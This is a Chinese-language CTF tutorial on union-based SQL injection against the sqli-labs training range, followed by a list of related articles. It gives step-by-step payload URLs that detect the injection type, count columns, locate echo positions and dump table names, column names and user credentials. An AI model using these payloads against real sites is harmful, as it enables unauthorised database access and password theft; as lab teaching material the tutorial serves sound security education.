CTF-Web安全--SQL注入之Union注入详解

简介: CTF-Web安全--SQL注入之Union注入详解

一、测试靶场与使用工具

浏览器:火狐浏览器--Firefox

靶场:sqli-labs

使用插件:HackBar

操作环境:phpstudy


二、判断字符型注入与数字型注入

操作步骤:

1、用F12打开控制台,打开HackBar, Loar URL,将当前靶场的URL信息复制到操作台上

2、输入?id=1,观察到页面发生变化,显示的是id=1时数据库中的信息,?是用来分割URL和查询字符串的,查询到了id=1时的用户登录名与登录密码

3、目前还不确定是字符型注入还是数字型注入,我们将id分别改为 id=2 和 id=2-1,若为数字型注入,则 id=2-1 时,页面应与 id=1 时的页面一致,若不一致,则证明为 字符型注入

id=2时:

id=2-1时:

由观察上图可知:id=2-1时页面与id=2时页面一致,与id=1时页面不一致,说明为字符型注入。若id=2-1的页面与id=1时的界面相同,则说明为数字型注入。


三、找到字符型的闭合方式

字符型闭合方式分为四种:'   ``   ')   ")

经过尝试之后我们可以找到符合要求的字符型闭合方式,并在后加上 --+,否则会报错。

http://localhost/Less-1/?id=1' --+

四、正式开始Union注入


--- 共分为五个步骤:

1、找到注入点

2、判断是 字符型注入 \ 数字型注入

3、若是字符型注入,找到它的闭合方式

4、判断查询列数 group by \ order by

5、查找回显位置 令 id=-1 \ id=0


--- 判断查询列数

使用 group by 语句,先令 group by 10, 若不符合条件,则利用二分逼近的方法,逼出最终的答案。

当group by 10时,页面黄字提示报错

经过二分逼近,最终得出结论,查询列数=3


--- 查找回显位置

使用如下语句:

http://localhost/Less-1/?id=-1' union select 1,2,3 --+

为什么要将id改为-1:若id=1,那么页面将显示表中第一行数据,只有id的值在表中不存在,那么页面中将显示我们自己要查询的值,借此我们可以找到回显位。


--- 注入命令,盗取账号和密码

1、首先使用database()函数,借助回显位可以看到当前使用的数据库名称为 'security'。

2、利用SELECT查询语句,查询数据库security中的表都有哪些。

查询过程中要使用 group_concat()函数,否则只会显示一个表名的信息。

http://localhost/Less-1/?id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() --+

3、利用SELECT查询语句,查询 表User 中的列 column 都有哪些。

http://localhost/Less-1/?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

观察到 表User 由三列构成  -- id -- username -- password, 我们的目标就是拿到用户的 username 和 password。

4、利用SELECT查询语句 将用户的 username 和 password 显示到 回显位上。

http://localhost/Less-1/?id=-1' union select 1,2, group_concat(username, '~', password) from users --+

得到用户名与密码,目的达成。


五、若为数字型注入

若注入方式为数字型注入,则不必找到它的闭合方式 与 --+,其他步骤 = 字符型注入。

相关文章
|
8天前
|
SQL 存储 安全
PHP 与现代 Web 应用的安全挑战与解决方案
随着 Web 应用的发展,PHP 作为一种广泛使用的服务器端脚本语言,面临着越来越复杂的安全挑战。本文探讨了当前 PHP 开发中常见的安全问题,并提供了相应的解决方案,帮助开发者构建更安全可靠的 Web 应用。 【7月更文挑战第8天】
17 1
|
3天前
|
SQL 安全 网络安全
Victor CMS v1.0 SQL 注入(CVE-2022-26201)
Victor CMS v1.0 SQL 注入(CVE-2022-26201)
|
2天前
|
SQL API Python
`bandit`是一个Python静态代码分析工具,专注于查找常见的安全漏洞,如SQL注入、跨站脚本(XSS)等。
`bandit`是一个Python静态代码分析工具,专注于查找常见的安全漏洞,如SQL注入、跨站脚本(XSS)等。
21 8
|
3天前
|
SQL 自然语言处理 安全
Atom CMS v2.0 SQL 注入(CVE-2022-24223)
Atom CMS v2.0 SQL 注入(CVE-2022-24223)
|
5天前
|
SQL 监控 安全
数据库安全:SQL注入防御实践
【7月更文挑战第11天】SQL注入攻击作为一种常见的网络攻击手段,对数据库的安全性和业务稳定构成了严重威胁。为了有效防御SQL注入攻击,开发者和数据库管理员应采取一系列实践措施,包括输入验证与过滤、使用参数化查询、限制数据库用户权限、使用Web应用程序防火墙、定期更新和打补丁、实施实时监控和审计以及使用HTTPS协议等。通过这些措施的实施,可以显著提升数据库的安全性,降低遭受SQL注入攻击的风险。同时,开发者和数据库管理员应持续关注新的安全威胁和防御技术,不断提升自身的安全防护能力。
|
4天前
|
SQL 安全 网络安全
Victor CMS v1.0 SQL 注入(CVE-2022-28060)
Victor CMS v1.0 SQL 注入(CVE-2022-28060)
Victor CMS v1.0 SQL 注入(CVE-2022-28060)
|
4天前
|
SQL 安全 关系型数据库
Atom CMS v2.0 SQL 注入(CVE-2022-25488)
Atom CMS v2.0 SQL 注入(CVE-2022-25488)
|
4天前
|
SQL 安全 关系型数据库
Web Based Quiz System v1.0 SQL 注入(CVE-2022-32991)
Web Based Quiz System v1.0 SQL 注入(CVE-2022-32991)
|
28天前
|
SQL IDE Java
Java连接SQL Server数据库的详细操作流程
Java连接SQL Server数据库的详细操作流程
|
6天前
|
SQL 存储 安全
数据库数据恢复—SQL Server数据库出现逻辑错误的数据恢复案例
SQL Server数据库数据恢复环境: 某品牌服务器存储中有两组raid5磁盘阵列。操作系统层面跑着SQL Server数据库,SQL Server数据库存放在D盘分区中。 SQL Server数据库故障: 存放SQL Server数据库的D盘分区容量不足,管理员在E盘中生成了一个.ndf的文件并且将数据库路径指向E盘继续使用。数据库继续运行一段时间后出现故障并报错,连接失效,SqlServer数据库无法附加查询。管理员多次尝试恢复数据库数据但是没有成功。